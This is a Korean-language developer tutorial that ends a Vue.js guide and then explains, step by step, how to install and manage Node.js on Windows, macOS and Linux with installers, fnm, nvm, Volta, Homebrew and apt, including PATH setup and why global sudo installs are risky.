<BaseButton variant="danger" @click="remove">삭제</BaseButton>
성능과 유용한 기능
대부분 자동이지만 알아 두면 좋은 장치가 있습니다.
<!-- 화면을 떠나도 상태를 유지 (탭 전환·목록↔상세) -->
<KeepAlive :max="5">
<component :is="current" />
</KeepAlive>
<!-- DOM 트리 밖으로 옮겨 그리기 (모달·토스트) -->
<Teleport to="body">
<div class="modal" v-if="open">…</div>
</Teleport>
<!-- 비동기 컴포넌트가 준비될 때까지 -->
<Suspense>
<template #default><UserPanel /></template>
<template #fallback><Skeleton /></template>
</Suspense>
<!-- 들어오고 나갈 때 효과 -->
<Transition name="fade"><p v-if="ok">완료</p></Transition>
// 큰 목록을 반응형으로 감쌀 필요가 없을 때 (수천 건)
import { shallowRef, markRaw } from "vue";
const rows = shallowRef(bigArray); // 안쪽까지 추적하지 않음
const map = markRaw(new Map()); // 아예 추적 제외
// 무거운 컴포넌트는 지연 로딩
const Chart = defineAsyncComponent(() => import("./Chart.vue"));
Teleport 가 모달의 정답인 이유 —
부모에 transform·overflow:hidden 이 있으면
아무리 z-index 를 올려도 그 상자에 갇힙니다.
body 로 옮기면 그 문제가 통째로 사라집니다.
"화면이 느려요" 처방 순서 — Vue 판
| 진단 | 처방 |
|---|---|
| 수천 행 데이터를 ref 에 담자마자 굼뜸 | ① shallowRef — 깊은 추적을 끕니다. 통째 교체로만 갱신 |
| 스크롤이 버벅임 (행 수백 개 이상) | ② 가상 스크롤 — @tanstack/vue-virtual · vue-virtual-scroller |
| 입력마다 무거운 목록이 즉시 갱신 | ③ refDebounced(VueUse) 로 검색어만 늦추기 |
| 탭을 오갈 때마다 데이터 다시 로딩 | ④ KeepAlive — 상태를 살려 둡니다 |
| 첫 로딩이 느림 | ⑤ 라우트 지연 로딩(11번) + defineAsyncComponent |
| v-for 안에서 함수 호출로 포맷 | ⑥ computed 로 미리 가공한 배열을 돌리세요 |
자주 하는 실수 모음
리액트에서 넘어올 때 특히 많이 걸리는 것들입니다.
| 증상 | 원인 |
|---|---|
| 값을 바꿔도 화면이 그대로 | JS 에서 .value 를 빠뜨림 (count++ ✗ → count.value++) |
| 구조 분해했더니 반응성 끊김 | toRefs·storeToRefs 를 쓰세요 |
화면에 [object Object] | 객체를 그대로 출력. 속성을 꺼내거나 JSON.stringify |
| 목록 순서 바꾸면 입력값이 섞임 | :key 를 index 로 줌 → 고유 id 로 |
| props 를 바꾸면 경고 | 자식은 못 바꿉니다. emit 으로 부모에게 |
ref 가 null | onMounted 이전에 접근. DOM 이 아직 없습니다 |
| 값 바꾸고 바로 DOM 을 읽었더니 이전 값 | await nextTick() 후에 읽으세요 |
| 모달이 다른 요소에 가림 | 조상의 transform·overflow. <Teleport to="body"> |
v-if 와 v-for 를 같이 썼더니 이상 | 우선순위 문제. <template v-for> 로 감싸세요 |
| watch 가 안 걸림 | 객체 내부 변경은 { deep: true } 필요 |
배우는 순서 — 로드맵
- 1주차 — 01~04: ref·computed 로 투두리스트 (추가·완료·필터를 전부 computed 로)
- 2주차 — 05~08: 컴포넌트 분리 + v-model. 투두를 TodoInput · TodoItem · TodoList 로 쪼개기
- 3주차 — 09~11: 컴포저블 + Pinia + 라우터. 공개 API 검색 앱(목록 ↔ 상세 페이지 + 즐겨찾기 스토어)
- 4주차 — 12~13: BaseButton 류 공용 컴포넌트로 정리, 지연 로딩 적용, 배포(Vercel · Netlify)
다음 단계 · 생태계 지도
| 필요 | 표준 선택지 |
|---|---|
| SSR · SEO · 파일 라우팅 | Nuxt 4 — Vue 의 Next.js |
| UI 컴포넌트 모음 | Vuetify · PrimeVue · Naive UI |
| 폼 검증 | VeeValidate + zod |
| 서버 데이터 캐시 | TanStack Query (10번) |
| 유틸 컴포저블 | VueUse (09번) |
| 테스트 | Vitest + Vue Testing Library |
빈 PC 에
자바스크립트 개발 환경을
처음부터 세웁니다
자바스크립트는 브라우저만 있으면 바로 시작할 수 있는 거의 유일한 언어입니다.
그런데 프로젝트를 하나 만들려는 순간 node, npm, pnpm,
tsc, tsx, corepack, nvm 같은 이름이 한꺼번에 쏟아집니다.
이 탭은 무엇을 왜 깔아야 하는지, 설치 화면에서 무엇을 체크하는지,
PATH 는 어느 화면에서 어떻게 넣는지, 안 될 때 무엇부터 확인하는지를
하나도 건너뛰지 않고 적었습니다.
마치고 나면 빈 노트북을 받아도 20분 안에 TypeScript 프로젝트가 도는 상태로 만들 수 있습니다.
무엇을 깔아야 하나 — 사실 처음엔 아무것도
자바스크립트는 이미 여러분 PC 에 깔려 있습니다. 크롬·엣지·사파리 안에 엔진이 들어 있으니까요.
그런데도 node 를 까는 이유가 분명히 있습니다. 그 경계선부터 그어 두면
나머지 설치가 전부 “왜”가 붙은 채로 이해됩니다.
① 설치 0 단계 — 브라우저 콘솔
크롬·엣지에서 F12(맥은 Cmd+Option+I)를 누르고 Console 탭을 열면
그 자리가 자바스크립트 실행기입니다. 파이썬의 python REPL 과 같은 것이
이미 깔려 있는 셈입니다.
// 콘솔에 그대로 붙여 넣어 보세요
1 + 1 // 2
[1,2,3].map(n => n * 2) // [2, 4, 6]
await fetch("/").then(r => r.status) // ★ 콘솔은 최상위 await 이 됩니다
// 여러 줄을 쓸 때는 Shift+Enter 로 줄바꿈
function hello(name) {
return `안녕하세요 ${name}`;
}
hello("김현우")
개발자도구 Sources 탭 왼쪽의 Snippets 에 코드를 저장해 두면
Ctrl+Enter 로 몇 번이고 다시 실행할 수 있습니다.
파일을 만들지 않고 수십 줄짜리 연습을 하기에 딱 좋습니다.
fs.readFile 로 내 PC 파일 읽기,
서버 열기(listen), npm install 로 받은 패키지 쓰기, DB 접속.
전부 보안상 막혀 있습니다. 이 중 하나가 필요해지는 순간이 Node 를 깔 때입니다.
② Node 를 깔면 생기는 것들
| 명령 | 정체 |
|---|---|
node | V8 엔진 + 파일·네트워크 기능. 런타임 |
npm | 패키지 관리자. Node 설치에 같이 들어옵니다 |
npx | 설치하지 않고 한 번만 실행. npm 에 딸려 옴 |
corepack | pnpm·yarn 을 켜 주는 중개자. Node 에 동봉 |
# 설치 후 이 네 줄이 다 대답하면 성공입니다
node -v # v24.x.x
npm -v # 11.x.x
npx -v # 11.x.x
corepack -v # 0.3x.x
# Node 는 REPL 도 갖고 있습니다 (그냥 node 만 치면 됩니다)
node
> 1 + 1
2
> .exit # 또는 Ctrl+D
python 과 pip 가 같이 오는 것과 같습니다.
런타임 셋 비교 — Node · Bun · Deno 🟢 기초
| Node 24 LTS ★ | Bun 1.x | Deno 2 | |
|---|---|---|---|
| 한 줄 정체 | 사실상의 표준. 2009년부터 | 속도로 승부하는 신형 | Node 만든 사람이 만든 재설계판 |
| 패키지 | npm (+pnpm·yarn 선택) | bun install 내장 · 매우 빠름 |
npm 호환 + JSR |
| TypeScript | 타입 지우기는 기본 지원(st07) | 그냥 bun a.ts 로 실행 |
그냥 deno run a.ts |
| 내장 도구 | --test · --watch · --env-file |
테스트 · 번들러 · 실행기 전부 | 테스트 · 포맷 · 린트 · 컴파일 |
| 권한 | 제한 없음 (실험적 권한 모델 있음) | 제한 없음 | 기본 차단 · --allow-net 로 허용 |
| 회사에서 쓰나 | 거의 전부 — 배포·모니터링 생태계 완비 | 늘고 있지만 아직 소수 | 소수 · 사내 도구 위주 |
| 고르는 기준 | 취업 · 협업 · 배포면 무조건 이것 | 혼자 만드는 스크립트·CLI | 보안이 중요한 스크립트 |
npm install 대체”나
“tsx 없이 TS 스크립트 실행” 용도로 Node 와 같이 깔아 두는 것이 실용적입니다.
둘을 동시에 깔아도 서로 방해하지 않습니다.
LTS 냐 Current 냐 — 숫자를 고르는 법 🟢 기초
2026년 8월 현재의 버전 지도
24 Active LTS ★ 지금 받아야 할 것 (nodejs.org 왼쪽 버튼)
26 Current 새 기능 먼저 · 2026-10 에 LTS 승격 예정
22 Maintenance 보안 패치만 · 신규 프로젝트에 쓰지 마세요
20 EOL (2026-04) ❌ 더는 보안 패치가 안 나옵니다
── 짝수 / 홀수 규칙 ──
짝수 버전만 LTS 가 됩니다 (20 · 22 · 24 · 26)
홀수 버전(23 · 25)은 실험용이며 6개월 뒤 사라집니다
★ 2026-10 Node 27 부터 규칙이 바뀝니다
· 메이저는 1년에 한 번 · 홀짝 구분 폐지
· 모든 메이저가 LTS 로 승격 (활성 18개월 + 유지보수 18개월)
"engines": { "node": ">=22" } 를 걸어 두기 시작해서
npm install 자체가 경고나 실패로 끝납니다.
그래서 나는 몇 번을 깔아야 하나
| 상황 | 고를 것 |
|---|---|
| 지금 배우기 시작 | 24 LTS ★ |
| 회사 프로젝트에 합류 | 그 저장소의 .nvmrc / engines 를 따름 |
| 강의·책을 따라감 | 거기 적힌 버전 이상이면 대체로 OK |
| 새 기능을 시험 | 26 Current 를 따로 (st03 버전 관리자) |
| 도커로 배포 | node:24-alpine 처럼 메이저 고정 |
// package.json 에 요구 버전을 적어 두는 습관
{
"engines": {
"node": ">=24.0.0",
"pnpm": ">=10"
},
"packageManager": "pnpm@10.15.0"
}
// engines 를 어기면 pnpm 은 기본적으로 설치를 거부하고,
// npm 은 경고만 냅니다 (.npmrc 에 engine-strict=true 로 강제 가능)
Windows 설치 — .msi 마법사 를 한 화면씩
화면에 무엇이 뜨는지, 어느 체크박스를 켜고 어느 것을 끄는지, 설치가 끝난 뒤 무엇으로 확인하는지까지 그대로 따라갈 수 있게 적었습니다. 5분이면 끝납니다.
① 무엇을 받나 — 파일 이름까지
https://nodejs.org/ko
┌──────────────────┬──────────────────┐
│ 24.x.x LTS │ 26.x.x 최신 │
│ "대부분의 사용자 │ "최신 기능" │
│ 에게 권장" ★ │ │
└──────────────────┴──────────────────┘
↑ 이쪽을 누릅니다
받아지는 파일: node-v24.9.0-x64.msi (약 30MB)
── 직접 고르고 싶다면 ──
https://nodejs.org/dist/latest-v24.x/
node-v24.9.0-x64.msi ← 64비트 윈도우 (거의 전부 이것)
node-v24.9.0-arm64.msi ← ARM 노트북 (Snapdragon X 등)
node-v24.9.0-win-x64.zip ← 설치 없이 압축만 푸는 이동식 버전
설정 ▸ 시스템 ▸ 정보 ▸ 시스템 종류 에서 확인합니다.
2015년 이후 PC 라면 사실상 전부 x64 입니다.
winget 으로 한 줄에 깔기 (윈도우 10/11)
# 관리자 PowerShell 에서
winget install OpenJS.NodeJS.LTS
# 확인 · 나중에 업데이트
winget list OpenJS.NodeJS.LTS
winget upgrade OpenJS.NodeJS.LTS
# 지우기
winget uninstall OpenJS.NodeJS.LTS
where node 에 두 줄이 나오고, 업데이트가 한쪽만 되어 헷갈립니다.
한 가지 방법만 고르고, 바꿀 때는 먼저 지우고 다시 깝니다.
② 마법사에서 실제로 보게 되는 화면
[Custom Setup] 화면 — 트리로 항목이 나옵니다
▸ Node.js runtime ★ 필수 (node.exe)
▸ corepack manager ★ 켜 두세요 (pnpm·yarn 용, st06)
▸ npm package manager ★ 필수
▸ Online documentation short.. 바로가기 아이콘. 있어도 없어도 됨
▸ Add to PATH ★★ 반드시 켜져 있어야 함
[Tools for Native Modules] 화면 — 체크박스 하나
□ Automatically install the necessary tools...
→ 체크하면 설치 후 파워셸 창이 뜨면서
chocolatey · Python · Visual Studio Build Tools 를
자동으로 내려받습니다 (수 GB · 10~30분)
★ 지금은 끄세요. sharp · better-sqlite3 같은 패키지를
설치하다 막혔을 때(st11) 그때 따로 깔면 됩니다.
③ 어디에 무엇이 깔렸나
C:\Program Files\nodejs\
├─ node.exe ← 런타임 본체
├─ npm.cmd npx.cmd ← 배치 파일 (실제 코드는 아래에)
├─ corepack.cmd
└─ node_modules\npm\ ← npm 자체가 여기 있습니다
C:\Users\사용자\AppData\Roaming\npm\
└─ (npm i -g 로 깐 도구들의 실행 파일) ★ st05 에서 다룹니다
C:\Users\사용자\AppData\Local\npm-cache\
└─ (내려받은 패키지 캐시 · 지워도 됩니다)
node.exe 는 Program Files 에, 전역 도구는 AppData\Roaming\npm 에
따로 깔립니다. .msi 설치는 이 두 경로를 모두 PATH 에 넣어 주지만,
수동 설치나 압축 해제 방식은 두 번째를 빠뜨립니다(st05).
설치 확인 — 여기까지 되면 성공입니다 🟢 기초
확인 스크립트 — 그대로 복사
# PowerShell 을 "새로" 열고 (기존 창 말고)
node -v # v24.9.0
npm -v # 11.6.0
npx -v # 11.6.0
corepack -v # 0.34.0
# 실제로 코드가 도는지
node -e "console.log('설치 완료:', process.version, process.platform)"
# → 설치 완료: v24.9.0 win32
# 어느 파일이 실행되고 있는지 (★ 문제 생겼을 때 제일 먼저 볼 것)
where.exe node
# C:\Program Files\nodejs\node.exe
# 첫 파일 실행
"console.log('hello')" | Out-File -Encoding utf8 hello.js
node hello.js # hello
where 는 쓰지 마세요.
PowerShell 의 where 는 Where-Object 의 별칭이라 전혀 다른 동작을 합니다.
where.exe node 처럼 확장자를 붙이거나 Get-Command node 를 쓰세요.
첫 프로젝트를 30초 만에
mkdir hello-node
cd hello-node
npm init -y # package.json 생성
npm pkg set type=module # ★ import 문법을 쓰겠다는 선언
# src/index.js 를 만들고 아래 내용을 넣습니다
node --watch src/index.js # 저장할 때마다 자동 재시작
// src/index.js
import os from "node:os";
import { readFile } from "node:fs/promises";
console.log("Node", process.version);
console.log("CPU", os.cpus().length, "코어");
const pkg = JSON.parse(
await readFile("./package.json", "utf8") // ★ 브라우저에서는 불가능한 일
);
console.log("프로젝트 이름:", pkg.name);
node:fs 로 내 PC 파일을 읽고,
node:os 로 CPU 개수를 봅니다. 이것 하나로 Node 를 깐 값은 다 했습니다.
나머지 섹션은 이 환경을 여럿이 · 오래 · 여러 프로젝트로 쓰기 위한 정비입니다.
①
'node'은(는) 내부 또는 외부 명령이 아닙니다 — 열려 있던 터미널을 닫고 새로 여세요.
그래도 안 되면 PATH 문제입니다(st05).②
npx : 이 시스템에서 스크립트를 실행할 수 없으므로 — PowerShell 실행 정책입니다(st05). 명령 한 줄로 해결됩니다.③ VS Code 내장 터미널에서만 안 됨 — VS Code 를 완전히 종료했다가 다시 켜세요. 편집기가 켜질 때의 PATH 를 그대로 물고 있습니다.
업그레이드 · 삭제 · 재설치 — 깔끔하게 갈아엎기 🟢 기초
Node 버전을 올릴 때
# .msi 로 깔았다면 — 새 .msi 를 그냥 실행하면 됩니다
# 기존 버전을 알아서 덮어씁니다. 먼저 지울 필요 없습니다.
# 단, 전역 설치한 도구(AppData\Roaming\npm)는 그대로 남습니다.
# winget 으로 깔았다면
winget upgrade OpenJS.NodeJS.LTS
# ★ 올린 뒤에는 프로젝트를 다시 설치해 주세요
# 네이티브 모듈은 Node 메이저마다 다시 빌드해야 합니다(st11)
rm -rf node_modules
pnpm i
업그레이드 후 확인 순서
① 새 터미널에서 node -v
② where.exe node ← 옛 버전이 남아 두 줄이 나오면 정리
③ npm -v ← Node 에 딸려 온 npm 도 같이 올라갑니다
④ 프로젝트에서 pnpm i 후 pnpm dev
node_modules 를 다시 만들 필요가 거의 없지만,
22 → 24 처럼 메이저가 바뀌면 네이티브 모듈이 안 맞아
NODE_MODULE_VERSION mismatch 오류가 납니다. 재설치가 답입니다.
완전히 지우고 처음부터
① 설정 ▸ 앱 ▸ 설치된 앱 ▸ "Node.js" 제거
(또는 winget uninstall OpenJS.NodeJS.LTS)
② 아래 폴더가 남아 있으면 손으로 지웁니다 ★
C:\Program Files\nodejs\
C:\Users\사용자\AppData\Roaming\npm\
C:\Users\사용자\AppData\Roaming\npm-cache\
C:\Users\사용자\AppData\Local\npm-cache\
C:\Users\사용자\.npmrc ← 프록시·토큰 설정. 필요하면 백업
③ 환경 변수에서 위 경로가 남아 있으면 제거 (st05)
④ 새 터미널에서 node -v 가 "명령이 아닙니다" 를 내면
완전히 지워진 것입니다
node -v 가 나온다” —
where.exe node 로 어디에 남았는지 보세요.
fnm · Volta · nvm-windows · Chocolatey 로 깐 것이 따로 남아 있거나,
회사 PC 라면 사내 배포 도구가 다시 깔아 놓았을 수 있습니다.
.msi 실행 →
Add to PATH 켜 두고 Tools for Native Modules 는 끄고 다음 →
새 터미널에서 node -v. 안 되면 대부분 터미널을 새로 안 연 것입니다.버전 관리자 — fnm · nvm · Volta 로 갈아 끼우기
프로젝트 A 는 Node 20 을 요구하고 B 는 24 를 요구합니다. 시스템에 하나만 깔려 있으면 지울 때마다 다시 깔아야 합니다. 버전 관리자는 이 문제를 폴더 단위로 해결합니다.
네 가지 선택지 비교
| 도구 | 특징 | OS |
|---|---|---|
| fnm ★ Rust 로 작성 |
빠릅니다(전환 수십 ms). .nvmrc·.node-version 둘 다 읽음.
윈도우에서도 같은 사용법 | 전부 |
| nvm 원조 |
가장 자료가 많음. 셸 스크립트라 셸 시작이 느려짐. 윈도우 미지원 | 맥·리눅스 |
| nvm-windows 이름만 같음 |
별개 프로젝트. 전환에 관리자 권한이 필요할 때가 있고 자동 전환이 없음 | 윈도우 |
| Volta Rust |
Node 뿐 아니라 패키지 매니저·전역 도구까지 프로젝트에 고정. 팀 전체 통일에 강함 | 전부 |
.nvmrc 를 그대로 읽습니다.
회사가 이미 nvm 을 쓰고 있다면 굳이 바꾸지 마세요 — 설정 파일은 호환됩니다.
fnm 설치 — 윈도우
# ① 설치 (셋 중 아무거나)
winget install Schniz.fnm
# 또는 scoop install fnm
# 또는 choco install fnm
# ② ★ 셸에 훅을 심습니다 — 이걸 빠뜨리면 전환이 안 됩니다
notepad $PROFILE # 없다고 하면 만들겠냐고 물어봅니다
# 아래 한 줄을 파일 끝에 붙여 넣고 저장
fnm env --use-on-cd --shell powershell | Out-String | Invoke-Expression
# ③ 새 PowerShell 을 열고
fnm --version
fnm install 24 # 24 최신 LTS 를 받습니다
fnm install 22
fnm use 24
fnm default 24 # 새 터미널의 기본값
fnm list # 깔린 목록 · 현재 선택 표시
node -v # v24.x.x
$PROFILE 이 없다는 오류가 나면 —
New-Item -ItemType File -Path $PROFILE -Force 로 먼저 만드세요.
그리고 프로필이 실행되려면 실행 정책이 풀려 있어야 합니다(st05).
Set-ExecutionPolicy -Scope CurrentUser RemoteSigned 한 줄이면 됩니다.
프로젝트마다 버전 고정하기 — 파일 한 줄 🟢 기초
저장소에 커밋하는 파일들
# 프로젝트 루트에 한 줄짜리 파일을 둡니다
echo "24" > .node-version # ★ fnm · Volta · asdf 가 읽음
echo "24" > .nvmrc # nvm · fnm 이 읽음 (전통적인 이름)
# 두 파일을 다 두어도 됩니다. fnm 은 .node-version 을 먼저 봅니다.
# 정확한 패치까지 고정하고 싶으면
echo "24.9.0" > .node-version
# 그 폴더로 들어가면
cd ~/work/my-api
# Using Node v24.9.0 ← --use-on-cd 훅이 있으면 이 줄이 뜹니다
# 훅이 없거나 CI 에서는 수동으로
fnm use # 파일을 읽어 전환
fnm use --install-if-missing # 없으면 받아서 전환 ★ CI 에서 유용
// package.json 에도 같은 내용을 적어 둡니다
{
"engines": { "node": ">=24" },
"packageManager": "pnpm@10.15.0"
}
// ★ .node-version 은 "어떤 버전을 쓸지",
// engines 는 "어떤 버전을 허용할지" — 역할이 다릅니다.
// 둘 다 두는 것이 정석입니다.
맥 · 리눅스에서의 fnm · nvm
# fnm (권장)
brew install fnm # 맥
curl -fsSL https://fnm.vercel.app/install | bash # 리눅스
# ~/.zshrc 또는 ~/.bashrc 끝에
eval "$(fnm env --use-on-cd --shell zsh)"
# nvm 을 쓴다면
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | bash
# ~/.zshrc 에 아래 두 줄이 자동으로 추가됩니다
export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && . "$NVM_DIR/nvm.sh"
nvm install --lts # 최신 LTS
nvm alias default lts/* # 기본값 고정
nvm use # .nvmrc 를 읽어 전환
# ★ nvm 은 셸 함수입니다 — which nvm 하면 아무것도 안 나옵니다.
# 스크립트 안에서 쓰려면 nvm.sh 를 먼저 source 해야 합니다.
한 단계 더 — 전역 도구가 버전마다 따로인 문제 🟡 중급
왜 “아까는 됐는데”가 생기나
fnm use 20
npm i -g typescript # 20 전용 폴더에 깔립니다
tsc -v # Version 5.9.x ✅
fnm use 24
tsc -v # ❌ 'tsc' 를 찾을 수 없습니다
# 설치 위치를 보면 이유가 보입니다
fnm use 20 && npm config get prefix
# ~/.local/share/fnm/node-versions/v20.19.0/installation
fnm use 24 && npm config get prefix
# ~/.local/share/fnm/node-versions/v24.9.0/installation
# ↑ 버전마다 전역 폴더가 완전히 다릅니다
① 전역 설치를 아예 안 합니다 —
npx tsc / pnpm dlx 로 그때그때 실행(권장).② 프로젝트의
devDependencies 에 넣고 pnpm exec tsc 로 씁니다 ★ 가장 정석.③ 꼭 전역이어야 하면 Volta 를 씁니다 — 전역 도구까지 버전에 묶어 관리합니다.
# 버전을 바꿔도 유지되는 방식 ★
pnpm add -D typescript
pnpm exec tsc -v # 프로젝트 안의 tsc 를 실행
# package.json 의 scripts 안에서는 그냥 "tsc" 라고 써도
# node_modules/.bin 이 자동으로 PATH 에 붙습니다
Volta — 팀 전체를 한 번에 고정
winget install Volta.Volta # 윈도우
curl https://get.volta.sh | bash # 맥 · 리눅스
volta install node@24
volta install pnpm@10
# 프로젝트에서 한 번만 실행하면 package.json 에 기록됩니다
cd my-app
volta pin node@24
volta pin pnpm@10
{
"volta": {
"node": "24.9.0",
"pnpm": "10.15.0"
}
}
// 팀원이 이 저장소를 받아 아무 명령이나 치면
// Volta 가 알아서 해당 버전을 받아 실행합니다 — 안내 문구조차 없습니다.
node·npm·pnpm 을 전부
Volta 의 대역 실행 파일로 바꿔치기합니다. 편하지만 문제가 생겼을 때
“진짜 node 가 어디 있지”를 추적하기가 fnm 보다 어렵습니다.
혼자 배우는 단계라면 fnm, 버전 때문에 팀이 자주 깨진다면 Volta 로 생각하세요.
cd 한 번으로 갈아 끼울 수 있습니다.
fnm 설치 + 셸 훅 한 줄 + .node-version 커밋 — 이 셋이 전부입니다.
전역 도구는 버전마다 따로이므로 가급적 devDependencies 에 넣으세요.macOS · Linux — Homebrew · apt · fnm 중 무엇으로
유닉스 계열에서는 선택지가 더 많고, 그래서 잘못 고르면 sudo 지옥에 빠집니다.
실제로 초보가 가장 많이 하는 실수인 sudo npm install -g 가 왜 위험한지도 여기서 정리합니다.
sudo 문제의 90%가 여기서 결정됩니다.macOS — 세 가지 방법
# ── ① Homebrew (가장 흔함) ──
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
brew install node@24 # 메이저 고정 ★ (그냥 node 면 최신 Current)
brew link --overwrite node@24 # PATH 에 연결
# Apple Silicon 은 /opt/homebrew, 인텔 맥은 /usr/local 입니다
brew --prefix # 내 맥이 어느 쪽인지
# ── ② fnm (권장) ──
brew install fnm
echo 'eval "$(fnm env --use-on-cd --shell zsh)"' >> ~/.zshrc
exec zsh # 셸 다시 읽기
fnm install 24 && fnm default 24
# ── ③ 공식 .pkg ──
# nodejs.org 에서 node-v24.x.x.pkg 를 받아 실행
# → /usr/local/bin/node 에 깔립니다. 지우기가 번거로우니 권하지 않습니다
zsh: command not found: node —
Apple Silicon 에서 Homebrew 경로가 ~/.zprofile 에 안 들어간 경우입니다.
echo 'eval "$(/opt/homebrew/bin/brew shellenv)"' >> ~/.zprofile 을 실행하고
터미널을 새로 여세요.
Ubuntu · Debian — apt 저장소
# ❌ 이것부터 하지 마세요
sudo apt install nodejs
node -v # v18.x — 우분투 24.04 기준 (22.04 는 v12). 둘 다 이미 EOL 입니다
# ✅ NodeSource 저장소 등록 (서버에 적합)
curl -fsSL https://deb.nodesource.com/setup_24.x | sudo -E bash -
sudo apt install -y nodejs
node -v # v24.x.x (npm 도 함께 들어옵니다)
# ✅ 또는 fnm (개발 머신에 적합 · sudo 불필요)
curl -fsSL https://fnm.vercel.app/install | bash
source ~/.bashrc
fnm install 24 && fnm default 24
# ── snap 은 피하세요 ──
# sudo snap install node --classic
# · 샌드박스 때문에 /home 밖 파일 접근이 막히는 사고가 잦습니다
# · 전역 설치 경로가 특이해서 PATH 문제가 자주 납니다
/mnt/c/Program Files/nodejs/node.exe 가 잡히면
속도가 수십 배 느려지고 경로 문제가 끝없이 납니다.
WSL 안에서는 위의 fnm 방법으로 따로 깔고, 프로젝트도 /home/… 안에 두세요.
★ sudo npm install -g 는 왜 금지인가 🟢 기초
❌ 이렇게 하면 벌어지는 일
sudo npm install -g typescript
# 그 결과
# · /usr/local/lib/node_modules 안의 파일 소유자가 root 가 됩니다
# · 다음번에 sudo 없이 설치하면 EACCES 로 실패
# · 그래서 또 sudo 를 붙이는 악순환
# · 패키지의 postinstall 스크립트가 root 권한으로 실행됩니다
# → 악성 패키지 하나면 시스템 전체가 넘어갑니다 ★
# · 캐시(~/.npm)도 root 소유로 바뀌어
# 이후 모든 npm 명령이 권한 오류를 냅니다
✅ 대신 이렇게
# 방법 ① 버전 관리자를 씁니다 — 문제 자체가 사라집니다
fnm install 24
npm i -g typescript # sudo 없이 됩니다 (홈 디렉터리)
# 방법 ② 전역 설치 경로를 홈으로 옮깁니다
mkdir -p ~/.npm-global
npm config set prefix ~/.npm-global
echo 'export PATH="$HOME/.npm-global/bin:$PATH"' >> ~/.zshrc
source ~/.zshrc
# 방법 ③ 애초에 전역 설치를 안 합니다 ★ 가장 좋음
npx tsc --version
pnpm add -D typescript && pnpm exec tsc --version
이미 sudo 로 망가뜨렸다면 — 복구 절차
# ① 캐시 소유권을 나에게 돌려놓기
sudo chown -R $(id -u):$(id -g) ~/.npm
# ② 홈 안의 프로젝트 폴더도 확인
sudo chown -R $(id -u):$(id -g) ~/work/my-app/node_modules
# ③ root 소유가 된 전역 폴더는 통째로 지우고 다시 시작
sudo rm -rf /usr/local/lib/node_modules
npm config set prefix ~/.npm-global
# ④ 어떤 것이 root 소유인지 미리 보기
ls -la $(npm root -g)
ls -la ~/.npm | head
# ★ 정리 후에는 npm config get prefix 가
# 홈 디렉터리 아래를 가리켜야 정상입니다
npm config get prefix 결과가
/usr 나 /usr/local 로 시작하면 언젠가는 sudo 를 요구합니다.
/home/… 나 ~/.local/… 이면 안전합니다.
리눅스 서버에 올릴 때의 정석
개발 머신 → fnm (홈 · 여러 버전)
CI (GitHub Actions) → actions/setup-node@v4
운영 서버 → 도커 이미지 node:24-alpine
또는 NodeSource + systemd
# .github/workflows/ci.yml — CI 에서 버전 맞추기
- uses: actions/setup-node@v4
with:
node-version-file: '.node-version' # ★ 파일을 그대로 읽습니다
cache: 'pnpm'
# Dockerfile — 멀티스테이지의 기본형
FROM node:24-alpine AS build
WORKDIR /app
COPY package.json pnpm-lock.yaml ./
RUN corepack enable && pnpm install --frozen-lockfile
COPY . .
RUN pnpm build
FROM node:24-alpine
WORKDIR /app
COPY --from=build /app/dist ./dist
COPY --from=build /app/node_modules ./node_modules
CMD ["node", "dist/index.js"]
.node-version 하나만 고치면 개발 머신(fnm) · CI(setup-node) 가 동시에 따라옵니다.
도커 태그만 수동이므로 Dockerfile 도 같이 바꾸는 것을 체크리스트에 넣어 두세요.
sudo 문제가 원천적으로 사라집니다.
sudo npm i -g 는 절대 쓰지 마세요 — 권한이 꼬이고 보안 구멍이 됩니다.
서버는 NodeSource 또는 도커 이미지로 메이저 버전을 고정합니다.PATH · 환경 변수 — “명령을 찾을 수 없습니다” 의 정체
설치 관련 질문의 절반은 PATH 입니다. 원리는 세 줄이면 끝나고, 알고 나면 다시는 같은 문제로 검색하지 않게 됩니다. 화면 경로까지 그대로 적었습니다.
윈도우 — 환경 변수 화면까지 가는 길
방법 A — 검색으로 (가장 빠름)
시작 버튼 → "환경 변수" 입력
→ "시스템 환경 변수 편집" 또는
"계정의 환경 변수 편집" 클릭
방법 B — 손으로
Win + R → sysdm.cpl → Enter
→ [고급] 탭 → 아래쪽 [환경 변수(N)...] 버튼
들어가면 창이 위아래 둘로 나뉩니다
┌ 사용자 변수 (내 계정에만 적용) ★ 여기를 씁니다
└ 시스템 변수 (모든 계정 · 관리자 권한 필요)
위쪽 목록에서 Path 를 고르고 [편집(E)...]
→ [새로 만들기(N)] → 경로를 붙여 넣기
→ [위로 이동(U)] 으로 순서 조정
→ 확인 · 확인 · 확인 (창 세 개를 다 확인으로 닫아야 저장됩니다) ★
① 창을 X 로 닫으면 저장이 안 됩니다 — 반드시 [확인]으로.
② 저장해도 이미 열린 터미널·VS Code 에는 반영되지 않습니다. 새 창을 열거나, 심하면 로그아웃 후 다시 로그인 해야 합니다.
PowerShell 로 확인하고 고치기
# 지금 PATH 를 한 줄씩 보기
$env:PATH -split ';'
# node 가 어디에서 잡히나 (여러 개면 여러 줄이 나옵니다 ★)
where.exe node
Get-Command node | Select-Object Source
# npm 전역 폴더가 PATH 에 있는지 확인
npm config get prefix # C:\Users\사용자\AppData\Roaming\npm
$env:PATH -split ';' | Select-String 'Roaming\\npm'
# 영구 추가 (사용자 변수 · 관리자 권한 불필요)
$p = [Environment]::GetEnvironmentVariable('Path','User')
[Environment]::SetEnvironmentVariable(
'Path', "$env:APPDATA\npm;$p", 'User')
# ★ 앞에 붙였습니다. 우선순위를 주고 싶을 때 이렇게 합니다.
# 확인은 반드시 새 터미널에서
맥 · 리눅스 — 어느 파일에 쓰나
| 파일 | 언제 읽히나 |
|---|---|
~/.zshrc | zsh 터미널을 열 때마다 (맥 기본) |
~/.bashrc | bash 터미널을 열 때마다 (리눅스 기본) |
~/.zprofile~/.bash_profile | 로그인할 때 한 번. brew shellenv 는 보통 여기 |
/etc/paths | 맥의 시스템 기본 목록 (건드리지 마세요) |
# 확인
echo $PATH | tr ':' '\n'
which -a node # ★ -a 는 "전부" — 중복 설치를 잡아냅니다
type -a node
# 추가 (앞에 붙이기 · 뒤에 붙이기)
export PATH="$HOME/.npm-global/bin:$PATH" # 앞 → 우선
export PATH="$PATH:$HOME/bin" # 뒤 → 나중
